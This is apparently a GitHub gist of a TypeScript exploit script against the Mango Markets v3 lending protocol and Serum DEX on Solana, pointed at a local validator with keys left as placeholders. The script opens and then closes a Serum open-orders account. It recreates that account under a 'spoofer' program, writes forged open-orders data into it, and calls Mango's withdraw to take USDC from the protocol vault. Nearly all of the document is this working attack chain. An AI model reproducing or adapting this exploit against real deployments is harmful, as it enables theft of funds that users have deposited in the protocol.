Skip to content

Instantly share code, notes, and snippets.

@jstarry
Created November 26, 2021 22:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jstarry/b261d9b8d69395e4cb17c06331995c71 to your computer and use it in GitHub Desktop.
Save jstarry/b261d9b8d69395e4cb17c06331995c71 to your computer and use it in GitHub Desktop.
Mango
import {
Connection,
Keypair,
PublicKey,
sendAndConfirmTransaction,
SystemProgram,
SYSVAR_RENT_PUBKEY,
Transaction,
TransactionInstruction,
} from "@solana/web3.js";
const PAYER_KEY = Keypair.fromSecretKey(/* SK */);
const USER_USDC_TOKEN_KEY = new PublicKey(/* PK */);
const ORDER_ID = /* 8 bytes */;
const MANGO_ACCOUNT_KEY = Keypair.fromSeed(/* SEED */);
const BTC_OPEN_ORDERS_KEY = Keypair.fromSeed(/* SEED */);
const BTC_TOKEN_KEY = Keypair.fromSeed(/* SEED */);
const TOKEN_ID = new PublicKey("TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA");
const SPOOFER_ID = new PublicKey(/* PROGRAM ID */);
// BTC - wrapped (sollet)
const BTC_MINT_ID = new PublicKey("9n4nbM75f5Ui33ZbPYXn59EwSgE8CGsHtAeTH5YFeJ9E");
const MANGO_V3_ID = new PublicKey("mv3ekLzLbnVPNxjSKvqBpU3ZeZXPQdEC3bp5MDEBG68");
const MANGO_GROUP = new PublicKey("98pjRuQjK3qA6gXts96PqZT4Ze5QmnCmt3QYjhbUSPue");
const MANGO_CACHE = new PublicKey("EBDRoayCDDUvDgCimta45ajQeXbexv7aKqJubruqpyvu");
const MANGO_SIGNER = new PublicKey("9BVcYqEQxyccuwznvxXqDkSJFavvTyheiTYk231T1A8S");
const MANGO_BTC_ROOT_BANK = new PublicKey("8VwAANqu3t4KQKpMq7wrS6yg5GTHwJBFsrK4Tk2cFN3q");
const MANGO_BTC_NODE_BANK = new PublicKey("7CfvGCV7qMf7im7mcqftZxQZGTweGappvL1maH7PMZ3Q");
const MANGO_BTC_VAULT = new PublicKey("F5Y6KhypBcCZ9MvyHvWhaXtbdcBs3YKrTAhwoycDtyPV");
const MANGO_USDC_ROOT_BANK = new PublicKey("AMzanZxMirPCgGcBoH9kw4Jzi9LFMomyUCXbpzDeL2T8");
const MANGO_USDC_NODE_BANK = new PublicKey("BGcwkj1WudQwUUjFk78hAjwd1uAm8trh1N4CJSa51euh");
const MANGO_USDC_VAULT = new PublicKey("8Vw25ZackDzaJzzBBqcgcpDsCsDfRSkMGgwFQ3gbReWF");
const SERUM_V3_ID = new PublicKey("9xQeWvG816bUx9EPjHmaT23yvVM2ZWbrrpZb9PusVFin");
const SERUM_BTC_MARKET_ID = new PublicKey("A8YFbxQYFVqKZaoYJLLUVcQiWP7G2MeEgW5wsAQgMvFw");
const SERUM_BTC_REQUEST_QUEUE = new PublicKey("H6UaUrNVELJgTqao1CNL4252kShLKSfwoboT8tF7HNtB");
const SERUM_BTC_EVENT_QUEUE = new PublicKey("6NQqaa48SnBBJZt9HyVPngcZFW81JfDv9EjRX2M4WkbP");
const SERUM_BTC_BIDS = new PublicKey("6wLt7CX1zZdFpa6uGJJpZfzWvG6W9rxXjquJDYiFwf9K");
const SERUM_BTC_ASKS = new PublicKey("6EyVXMMA58Nf6MScqeLpw1jS12RCpry23u9VMfy8b65Y");
const SERUM_BTC_COIN_VAULT = new PublicKey("GZ1YSupuUq9kB28kX9t1j9qCpN67AMMwn4Q72BzeSpfR");
const SERUM_BTC_PC_VAULT = new PublicKey("7sP9fug8rqZFLbXoEj8DETF81KasaRA1fr6jQb6ScKc5");
const SERUM_BTC_VAULT_SIGNER = new PublicKey("GBWgHXLf1fX4J1p5fAkQoEbnjpgjxUtr4mrVgtj9wW8a");
(async () => {
const connection = new Connection("http://localhost:8899", "confirmed");
const tx1 = new Transaction()
.add(
SystemProgram.createAccount({
fromPubkey: PAYER_KEY.publicKey,
newAccountPubkey: MANGO_ACCOUNT_KEY.publicKey,
lamports: 30791040,
space: 4296,
programId: MANGO_V3_ID,
})
)
.add(
SystemProgram.createAccount({
fromPubkey: PAYER_KEY.publicKey,
newAccountPubkey: BTC_OPEN_ORDERS_KEY.publicKey,
lamports: 23357760,
space: 3228,
programId: SERUM_V3_ID,
})
)
.add(
SystemProgram.createAccount({
fromPubkey: PAYER_KEY.publicKey,
newAccountPubkey: BTC_TOKEN_KEY.publicKey,
lamports: 2039280,
space: 165,
programId: TOKEN_ID,
})
)
.add(
// token: InitAccount
new TransactionInstruction({
programId: TOKEN_ID,
keys: [
{ pubkey: BTC_TOKEN_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: BTC_MINT_ID, isSigner: false, isWritable: false },
{ pubkey: PAYER_KEY.publicKey, isSigner: false, isWritable: false },
{ pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false },
],
data: Buffer.from([1, 0, 0, 0]),
})
);
const sig1 = await sendAndConfirmTransaction(connection, tx1, [PAYER_KEY, BTC_TOKEN_KEY, MANGO_ACCOUNT_KEY, BTC_OPEN_ORDERS_KEY]);
console.log(sig1);
const tx2 = new Transaction()
.add(
// 0) mango: InitMangoAccount
new TransactionInstruction({
programId: MANGO_V3_ID,
keys: [
{ pubkey: MANGO_GROUP, isSigner: false, isWritable: false },
{ pubkey: MANGO_ACCOUNT_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: true },
],
data: Buffer.from([1, 0, 0, 0]),
})
)
.add(
// 1) mango: InitSpotOpenOrders
new TransactionInstruction({
programId: MANGO_V3_ID,
keys: [
{ pubkey: MANGO_GROUP, isSigner: false, isWritable: false },
{ pubkey: MANGO_ACCOUNT_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: true },
{ pubkey: SERUM_V3_ID, isSigner: false, isWritable: false },
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: false },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: true },
{ pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false },
],
data: Buffer.from([32, 0, 0, 0]),
})
)
.add(
// 2) serum: NewOrderV3
new TransactionInstruction({
programId: SERUM_V3_ID,
keys: [
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_REQUEST_QUEUE, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_EVENT_QUEUE, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_BIDS, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_ASKS, isSigner: false, isWritable: true },
{ pubkey: USER_USDC_TOKEN_KEY, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: false },
{ pubkey: SERUM_BTC_COIN_VAULT, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_PC_VAULT, isSigner: false, isWritable: true },
{ pubkey: TOKEN_ID, isSigner: false, isWritable: false },
{ pubkey: PAYER_KEY.publicKey, isSigner: false, isWritable: false },
],
data: Buffer.from([
0,
...[10, 0, 0, 0] /* IX ID */,
...[0, 0, 0, 0] /* SIDE: bid */,
...[128, 26, 6, 0, 0, 0, 0, 0] /* LIMIT PRICE */,
...[10, 0, 0, 0, 0, 0, 0, 0] /* MAX COIN QTY */,
...[0, 90, 98, 2, 0, 0, 0, 0] /* LIMIT MAX_NATIVE_PC_QTY */,
...[0, 0, 0, 0] /* SELF TRADE: DecrementTake */,
...[0, 0, 0, 0] /* ORDER TYPE: limit */,
...ORDER_ID /* CLIENT ORDER ID */,
...[255, 255] /* LIMIT: MAX */,
]),
})
)
.add(
// 3) mango: SettleFunds
new TransactionInstruction({
programId: MANGO_V3_ID,
keys: [
{ pubkey: MANGO_GROUP, isSigner: false, isWritable: false },
{ pubkey: MANGO_CACHE, isSigner: false, isWritable: false },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: false },
{ pubkey: MANGO_ACCOUNT_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: SERUM_V3_ID, isSigner: false, isWritable: false },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: false },
{ pubkey: SERUM_BTC_COIN_VAULT, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_PC_VAULT, isSigner: false, isWritable: true },
{ pubkey: MANGO_BTC_ROOT_BANK, isSigner: false, isWritable: false },
{ pubkey: MANGO_BTC_NODE_BANK, isSigner: false, isWritable: true },
{ pubkey: MANGO_USDC_ROOT_BANK, isSigner: false, isWritable: false },
{ pubkey: MANGO_USDC_NODE_BANK, isSigner: false, isWritable: true },
{ pubkey: MANGO_BTC_VAULT, isSigner: false, isWritable: true },
{ pubkey: MANGO_USDC_VAULT, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_VAULT_SIGNER, isSigner: false, isWritable: false },
{ pubkey: TOKEN_ID, isSigner: false, isWritable: false },
],
data: Buffer.from([19, 0, 0, 0]),
})
)
.add(
// 4) serum: CancelOrderV2
new TransactionInstruction({
programId: SERUM_V3_ID,
keys: [
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_BIDS, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_ASKS, isSigner: false, isWritable: true },
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: false },
{ pubkey: SERUM_BTC_EVENT_QUEUE, isSigner: false, isWritable: true },
],
data: Buffer.from([...[0, 12, 0, 0, 0] /* IX ID */, ...ORDER_ID]),
})
)
.add(
// 6) serum: ConsumeEvents
new TransactionInstruction({
programId: SERUM_V3_ID,
keys: [
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_EVENT_QUEUE, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
],
data: Buffer.from([0, 3, 0, 0, 0, 10, 0]),
})
)
.add(
// 5) serum: SettleFunds
new TransactionInstruction({
programId: SERUM_V3_ID,
keys: [
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: true },
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: false },
{ pubkey: SERUM_BTC_COIN_VAULT, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_PC_VAULT, isSigner: false, isWritable: true },
{ pubkey: BTC_TOKEN_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: USER_USDC_TOKEN_KEY, isSigner: false, isWritable: true },
{ pubkey: SERUM_BTC_VAULT_SIGNER, isSigner: false, isWritable: false },
{ pubkey: TOKEN_ID, isSigner: false, isWritable: false },
],
data: Buffer.from([0, 5, 0, 0, 0] /* IX ID */),
})
)
.add(
// 7) serum: CloseOpenOrders
new TransactionInstruction({
programId: SERUM_V3_ID,
keys: [
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: true },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: false },
],
data: Buffer.from([0, 14, 0, 0, 0]),
})
);
const sig2 = await sendAndConfirmTransaction(connection, tx2, [PAYER_KEY]);
console.log(sig2);
const tx3 = new Transaction()
.add(
SystemProgram.createAccount({
fromPubkey: PAYER_KEY.publicKey,
newAccountPubkey: BTC_OPEN_ORDERS_KEY.publicKey,
lamports: 23357760,
space: 3228,
programId: SPOOFER_ID,
})
)
.add(
// 8) spoofer: spoof open orders data
new TransactionInstruction({
programId: SPOOFER_ID,
keys: [
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: MANGO_SIGNER, isSigner: false, isWritable: false },
{ pubkey: SERUM_BTC_MARKET_ID, isSigner: false, isWritable: false },
],
data: Buffer.from([]),
})
)
.add(
// 9) mango: withdraw
new TransactionInstruction({
programId: MANGO_V3_ID,
keys: [
{ pubkey: MANGO_GROUP, isSigner: false, isWritable: false },
{ pubkey: MANGO_ACCOUNT_KEY.publicKey, isSigner: false, isWritable: true },
{ pubkey: PAYER_KEY.publicKey, isSigner: true, isWritable: true },
{ pubkey: MANGO_CACHE, isSigner: false, isWritable: false },
{ pubkey: MANGO_USDC_ROOT_BANK, isSigner: false, isWritable: false },
{ pubkey: MANGO_USDC_NODE_BANK, isSigner: false, isWritable: true },
{ pubkey: MANGO_USDC_VAULT, isSigner: false, isWritable: true },
{ pubkey: USER_USDC_TOKEN_KEY, isSigner: false, isWritable: true },
{ pubkey: MANGO_SIGNER, isSigner: false, isWritable: false },
{ pubkey: TOKEN_ID, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: BTC_OPEN_ORDERS_KEY.publicKey, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
{ pubkey: SystemProgram.programId, isSigner: false, isWritable: false },
],
data: Buffer.from([3, 0, 0, 0, ...[/* u64 amount */], 1]),
})
);
const sig3 = await sendAndConfirmTransaction(connection, tx3, [PAYER_KEY, BTC_OPEN_ORDERS_KEY]);
console.log(sig3);
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment